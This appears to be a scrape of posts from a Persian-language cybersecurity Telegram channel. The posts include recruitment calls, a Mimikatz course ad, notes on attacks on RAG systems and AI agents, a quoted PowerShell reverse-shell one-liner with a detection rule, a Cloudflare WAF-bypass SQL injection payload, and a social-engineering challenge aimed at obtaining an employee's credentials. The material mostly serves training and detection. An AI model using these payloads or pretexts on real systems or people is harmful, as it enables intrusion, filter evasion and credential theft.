Try Hack Box

فراخوان همکاری داوطلبانه طراح UI/UX در حال توسعه یک پلتفرم آموزشی امنیت سایبری هستیم و برای تکمیل تیم، از یک طراح UI/UX دعوت می‌کنیم به‌صورت داوطلبانه در کنار ما همکاری کند. هدف ما طراحی یک رابط کاربری مدرن، ساده و کاربرپسند است که تجربه‌ای حرفه‌ای برای کاربران و علاقه‌مندان حوزه امنیت سایبری فراهم کند. مهارت‌های موردنیاز تسلط بر طراحی رابط کاربری (UI) آشنایی با اصول تجربه کاربری (UX) توانایی کار با Figma یا ابزارهای مشابه طراحی صفحات ریسپانسیو و مدرن آشنایی با Design System و Componentها اگر به ساخت یک پروژه واقعی، توسعه رزومه و همکاری در کنار یک تیم فعال در حوزه امنیت سایبری علاقه‌مند هستید، خوشحال می‌شویم در کنار ما باشید. مزایای همکاری ثبت نام و نقش شما در تیم پروژه و معرفی در بخش همکاران (پس از انتشار) ساخت نمونه‌کار (Portfolio) واقعی و قابل ارائه دریافت گواهی همکاری پس از مشارکت مؤثر در پروژه اولویت برای همکاری‌ های آینده و پروژه‌های تجاری و درآمدزا امکان شبکه‌ سازی مشارکت در ساخت محصولی که توسط هزاران کاربر مورد استفاده قرار خواهد گرفت این همکاری در حال حاضر داوطلبانه است و هدف، ساخت یک پلتفرم آموزشی ارزشمند برای جامعه امنیت سایبری است. اعضای اولیه تیم، نقش مهمی در شکل‌گیری و توسعه آینده این پروژه خواهند داشت و در صورت تبدیل پروژه به یک فعالیت تجاری، اعضای فعال تیم در اولویت همکاری‌ های بعدی خواهند بود. در صورت تمایل به همکاری، لطفاً از طریق پیام خصوصی با ما در ارتباط باشید. @ThbxSupport

دوستان اگر علاقه مند به فعالیت در تیم ما هستید البته به صورت داوطلب ، پیام دهید : @ThbxSupport

📌 دوره: راهنمای جامع ابزار Mimikatz 💢 توضیحات دوره: Mimikatz بدون شک یکی از مهم‌ ترین و موثرترین ابزارهایی است که در دنیای امنیت سایبری و عملیات تیم قرمز مورد استفاده قرار می‌ گیرد.این ابزار توسط برنامه‌ نویس فرانسوی Benjamin Delpy ایجاد شد.او در ابتدا Mimikatz را برای یادگیری عمیق‌ تر زبان C و درک بهتر مکانیزم‌ های امنیتی ویندوز توسعه داد. این ابزار با بهره‌ برداری هوشمند از ضعف‌ های موجود در معماری ویندوز،مجموعه‌ای از حملات مهم و پرکاربرد را به صورت یکپارچه و آماده ارائه می‌ دهد. Mimikatz کار را برای متخصصان بسیار آسان‌ تر کرده است؛به شکلی که بدون نیاز به دانش بسیار تخصصی از ساختارهای داخلی،می‌ توان از آن برای گسترش دسترسی در شبکه‌ های مبتنی بر ویندوز استفاده کرد.این ابزار همچنان فعالانه به‌ روزرسانی می‌شود و تکنیک‌ های جدید به آن اضافه می‌ گردد. 📌 توضیحات کامل ◽مدرس : مهندس سجاد تیموری ◽مدت زمان دوره : ۵ ساعت ۲۰ دقیقه ◻ دوره : آفلاین ⭕ دوره دارای گروه پشتیبانی می باشد. 💰 قیمت :     ۲,۰۰۰,۰۰۰  تومان 💰 با تخفیف ویژه : ۱,۲۵۰,۰۰۰ تومان 📌 جهت خرید،به ایدی زیر پیام دهید: @ThbxSupport Group @TryHackBox

در حال تشکیل یک تیم داوطلبانه کوچک برای توسعه یک پلتفرم در حوزه امنیت سایبری هستیم. پروژه در مرحله شروع قرار داره و می‌خوایم اعضای اصلی تیم رو از همین ابتدا کنار هم جمع کنیم تا مسیر رشد پروژه رو با هم بسازیم. در حال حاضر، برای این نقش‌ ها به‌ صورت مشخص نیاز داریم: - Front-end Development - Back-end Development - Database - DevOps و Cloud  اگر در یکی از این حوزه‌ ها فعالیت میکنید یا میخواید روی یک پروژه واقعی تجربه بگیرید، خوشحال میشویم باهم صحبت کنیم. چرا این همکاری می‌تونه ارزشمند باشه؟ ✅ تجربه عملی کار روی یک پروژه واقعی، از ایده تا انتشار ✅ همکاری با یک تیم هدفمند در حوزه امنیت سایبری و توسعه نرم‌افزار ✅ ثبت نقش شما در صفحه تیم پروژه (Contributor/Team Member) ✅ گواهی همکاری پس از مشارکت مؤثر ✅ امکان استفاده از پروژه در رزومه، LinkedIn و GitHub ✅ اولویت برای همکاری‌ های بلندمدت در صورت رشد پروژه این همکاری در حال حاضر داوطلبانه است. هدف ما در این مرحله، ساخت یک محصول حرفه‌ای و کسب تجربه و سابقه کاری واقعی برای همه اعضای تیمه. 🔴 جهت ارتباط با ما به پشتیبانی پیام دهید : @ThbxSupport

معماری RAG: طراحی، امنیت و حملات RAG (Retrieval-Augmented Generation) یک معماری ترکیبی است که بازیابی اطلاعات (Retrieval) را با تولید زبان طبیعی (Generation) ادغام می‌کند تا پاسخ‌های دقیق‌تر و مبتنی بر داده تولید کند. اجزای اصلی معماری 1. Query Encoder: تبدیل پرسش کاربر به Vector Embedding معنایی. 2. Retriever: جستجو در Vector Database (مانند FAISS یا ChromaDB) برای یافتن اسناد مرتبط. 3. Generator: مدل زبانی (مانند GPT یا BART) که پاسخ را بر اساس اسناد بازیابی‌شده تولید می‌کند. 4. Knowledge Base: مخزن خارجی اسناد متنی که دانش سیستم را به‌روز نگه می‌دارد. فرآیند عملیاتی کاربر سوال می‌پرسد → سوال به بردار تبدیل می‌شود → Retriever اسناد مرتبط را بازیابی می‌کند → Generator پاسخ نهایی را تولید می‌کند. حملات رایج به RAG 1. Knowledge Poisoning: تزریق داده‌های مخرب به پایگاه دانش برای انحراف پاسخ‌ها. 2. Indirect Prompt Injection: دستکاری ورودی کاربر برای تغییر رفتار Retriever یا Generator. 3. Cross-Tenant Leakage: دسترسی غیرمجاز به داده‌های کاربران دیگر در سیستم‌های چندمستاجره. چالش‌های امنیتی - Data Integrity: اطمینان از صحت و اعتبار اسناد بازیابی‌شده. - Access Control: جلوگیری از دسترسی به داده‌های حساس یا طبقه‌بندی‌شده. - Hallucination Mitigation: کاهش توهم‌های مدل با استفاده از منابع معتبر. معماری RAG با ترکیب Semantic Search و Language Generation، پل میان دانش خارجی و قدرت تولید مدل‌های زبانی است، اما نیازمند لایه‌های دفاعی چندگانه برای مقابله با حملات نوظهور است. 🔥 اولین کانال فارسی زبان در AI Security . @TryHackBox @RadioZeroPod @AiTHB @TryHackBoxOfficial

⭕ سری چالش های SE : هک انسان 1/20 📌 چالش : "تماس IT پشتیبانی" سناریو:

شما درحال مهندسی اجتماعی هستید و هدفتون دسترسی به اطلاعات داخلی یک شرکت فرضی به نام "Datanova" هست. شما به عنوان یک "کارمند پشتیبانی IT" با خانم/آقای میترا شاهینی، منشی بخش مالی، تماس می‌گیرید. 📌 هدف: گرفتن یوزرنیم و ریست پسورد ایمیلش (بدون اینکه شک کنه). 📓 اطلاعات از پیش: ◾ شما اسم مدیرش (سهراب فریدونی) رو از لینکدین پیدا کردید. ◾ می‌دونید شرکت هفته پیش یک آپدیت سیستمی داشته. ◾میترا معمولاً ساعت ۹ صبح سرکاره.

 ❓ سوال:

> شما چه دیالوگ و استراتژی‌ ای برای این تماس استفاده می‌ کنید تا میترا بهتون اعتماد کنه؟ (متن دقیق مکالمه یا حداقل ۳-۴ تاکتیکی که به کار می‌برید رو تو کامنت بنویسید).

@TryHackBox #مهندسی_اجتماعی

🔥 معرفی رسمی TryHackBox CTF ا ◾ :  TryHackBox CTF | مأموریت SE ۲۰ روز محک زدن مهارت مهندسی اجتماعی آیا فکر میکنی میتونی ذهن یه انسان رو قبل از هر فایروال و سیستمی هک کنی؟ مهندسی اجتماعی قوی‌ ترین سلاح در دنیای امنیت سایبریه چون هیچ آنتی‌ ویروسی نمی‌تونه از اعتماد انسانی محافظت کنه. از امروز، هر ۲-۳ روز یک سناریوی واقعی مهندسی اجتماعی براتون منتشر می‌کنیم. شما باید تو کامنت‌ ها بگید تو اون شرایط دقیقاً چیکار میکنید تا نفوذ موفقی داشته باشید. 🎯 ۲۰ چلنج | ۱۰۰ امتیاز | ✅ برنده نهایی کسی که در کمترین تایم جواب بده ✅ هر چلنج ۵ امتیاز، امتیازها تجمعی ثبت میشه ✅ سناریوهای متنوع: تماس تلفنی، فیشینگ، حضوری، آنلاین و ترکیبی ✅ تحلیل تخصصی بعد از هر قسمت 🏆 جایزه پایانی: اعضایی که در تمام ۲۰ چلنج مشارکت فعال داشته باشن و امتیاز 100 کسب کنن، کد تخفیف ویژه دوره/کتاب رو دریافت میکنن. ⏳ چلنج اول به‌زودی منتشر میشه همین الان عضو بمون که جا نمونی. #TryHackBox #ماموریت_SE #SocialEngineering #CTF @TryHackBox

ا 🔖 : AI Agent Kill Chain را میتوان در هشت مرحله درک کرد.

ا▪️ :  AI agent ها فقط چت‌ بات نیستند. آنها میتوانند استدلال کنند، برنامه‌ ریزی کنند، ابزارها را فراخوانی کنند، به داده‌ ها دسترسی پیدا کنند، با APIها تعامل داشته باشند و در سیستم‌ های متصل، اقداماتی انجام دهند. این قابلیت، یک سطح حمله‌ی جدید و یک kill chain جدید ایجاد می‌ کند. درس کلیدی ساده است: AI agentها هرگز نباید مثل اپلیکیشن‌ های معمولی در نظر گرفته شوند. آنها به دسترسی سخت‌گیرانه‌ی least-privilege، تأیید انسانی برای اقدامات پرریسک، tool allowlists، اجرای ایزوله (isolated execution)، credentials کوتاه‌ مدت، دفاع در برابر prompt injection و ثبت کامل audit logging نیاز دارند. با گسترش استفاده‌ی سازمانها از agentic AI، فقط ایمن‌ سازی مدل کافی نخواهد بود. باید خودِ agent، identity آن، tools آن، memory آن، داده‌هایش و هر سیستمی که به آن دسترسی دارد را ایمن کنید.

🔥 اولین کانال فارسی زبان در AI Security . @TryHackBox @RadioZeroPod @AiTHB @TryHackBoxOfficial

🧩 گاهی اوقات، مجرمان سایبری تمایل دارند که دستگیر شوند. بیایید یک مثال دیگر و ابزاری را بررسی کنیم که من کمتر در حملات واقعی با آن مواجه شده‌ام. 🔖 طبق این گزارش، مهاجم از PowerShell برای دانلود و اجرای PowerCat استفاده کرده است ◾ یک ابزار متن‌باز، مشابه Netcat، برای اجرای یک شل معکوس:

powershell.exe -c IEX (New-Object System.Net.WebClient).DownloadString (‘hxxps://raw[.]githubusercontent[.]com/besimorhino/powercat/master/powercat.ps1’); powercat -c 154.17.26[.]41 -p 8080 -e cmd

همانطور که متوجه شدید، مهاجم نام ابزار را تغییر نداده است. و در بسیاری از موارد، این یک رویه رایج است. همین موضوع در مورد مخازن نیز صدق می‌کند. مجرمان اغلب از PowerShell برای دانلود ابزارها از منابع رسمی استفاده می‌ کنند. بنابراین، این یک نکته مهم دیگر است که باید مستند شود و در هنگام جستجوی فعال و ایجاد منطق تشخیص، در نظر گرفته شود، به عنوان مثال:

event_type: "processcreatewin"

AND

cmdline: "powercat"

فراموش نکنید که بلوک‌ های اسکریپت نیز حاوی خطوط و توابع جالب زیادی هستند، فقط خود اسکریپت را بررسی کنید. اگر از این دست پست ها را دوست دارید علاقه خود را با 🔥نشان دهید. @TryHackBox @TryHackBoxofficial @AiTHB @RadioZeroPod

یکی از قدیمی‌ ترین و خطرناک‌ ترین پروتکل‌ ها که هنوز روی خیلی از دستگاه‌ ها پیدا میشه. دستورات حمله واقعی به Telnet رو ببینید 👇 https://x.com/i/status/2079051452673147071

🪲 نکته باگ بانتی: بایپس 403 Cloudflare برای Time-Based Blind SQLi وقتی پیلودت توسط Cloudflare بلاک میشه (403)، با obfuscation از طریق URL encoding امتحان کن تا از فیلتر رد بشه! ❌ پیلود بلاک‌شده  (select(0)from(select(sleep(10)))v) → 403 Forbidden ✅ پیلود بایپس  (select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v) 🔍 این obfuscation میتونه Time-Based Blind SQLi رو حتی وقتی WAF فعاله trigger کنه.

کدوم obfuscation رو برای بایپس Cloudflare در SQLi تست کردی که delay رو trigger کرد؟ کامنت کن

@TryHackBox #باگ_بانتی #بایپس

در حال تشکیل یک تیم داوطلبانه کوچک برای توسعه یک پلتفرم در حوزه امنیت سایبری هستیم. پروژه در مرحله شروع قرار داره و می‌خوایم اعضای اصلی تیم رو از همین ابتدا کنار هم جمع کنیم تا مسیر رشد پروژه رو با هم بسازیم. در حال حاضر، برای این نقش‌ ها به‌ صورت مشخص نیاز داریم:

- Front-end Development - Back-end Development - Database - DevOps و Cloud

 اگر در یکی از این حوزه‌ ها فعالیت میکنید یا میخواید روی یک پروژه واقعی تجربه بگیرید، خوشحال میشویم باهم صحبت کنیم. چرا این همکاری می‌تونه ارزشمند باشه؟

✅ تجربه عملی کار روی یک پروژه واقعی، از ایده تا انتشار ✅ همکاری با یک تیم هدفمند در حوزه امنیت سایبری و توسعه نرم‌افزار ✅ ثبت نقش شما در صفحه تیم پروژه (Contributor/Team Member) ✅ گواهی همکاری پس از مشارکت مؤثر ✅ امکان استفاده از پروژه در رزومه، LinkedIn و GitHub ✅ اولویت برای همکاری‌ های بلندمدت در صورت رشد پروژه

این همکاری در حال حاضر داوطلبانه است. هدف ما در این مرحله، ساخت یک محصول حرفه‌ای و کسب تجربه و سابقه کاری واقعی برای همه اعضای تیمه. 🔴 جهت ارتباط با ما به پشتیبانی پیام دهید : @ThbxSupport

به دنبال ساخت تیمی برای توسعه یک پلتفرم آموزش امنیت سایبری هستیم. در حال تشکیل یک تیم داوطلبانه برای توسعه یک وبسایت آموزش امنیت سایبری هستیم؛ پلتفرمی که هدف آن ارائه آموزش‌ های ساختاریافته، سناریوهای عملی، Labهای آموزشی و ایجاد یک جامعه فعال برای علاقه‌مندان به امنیت سایبری است. اگر در یکی از حوزه‌های زیر فعالیت می‌کنید یا علاقه‌مند به کسب تجربه در یک پروژه واقعی هستید، خوشحال میشویم به تیم ما بپیوندید:

Front-end Development Back-end Development UI/UX Design DevOps و Cloud تولید محتوای امنیت سایبری طراحی Lab و Scenario QA و تست نرم‌افزار Technical Writing Community Management

اعضای تیم چه چیزی دریافت می‌کنند؟

✅ تجربه کار روی یک پروژه واقعی از مرحله ایده تا انتشار ✅ همکاری با یک تیم علاقه‌مند به امنیت سایبری و توسعه نرم‌ افزار ✅ ثبت ، نام و نقش شما در صفحه تیم پروژه (Contributor/Team Member) ✅ گواهی همکاری پس از مشارکت مؤثر ✅ امکان استفاده از پروژه در رزومه و پروفایل LinkedIn و GitHub ✅ اولویت برای همکاری‌ های بلندمدت و فرصت‌ های آینده با رشد پروژه ✅ مشارکت در ساخت محصولی که می‌ تواند برای جامعه امنیت سایبری ارزشمند باشد.

این همکاری در حال حاضر داوطلبانه است. تمرکز ما در این مرحله، ساخت یک محصول حرفه‌ای، یادگیری، شبکه‌ سازی و ایجاد سابقه کاری ارزشمند برای همه اعضای تیم است. اگر علاقه‌مند هستید بخشی از این مسیر باشید و در توسعه یک پلتفرم آموزشی امنیت سایبری نقش داشته باشید، خوشحال میشوم از طریق پیام مستقیم با هم در ارتباط باشیم. 🔴 جهت ارتباط با ما به پشتیبانی پیام دهید : @ThbxSupport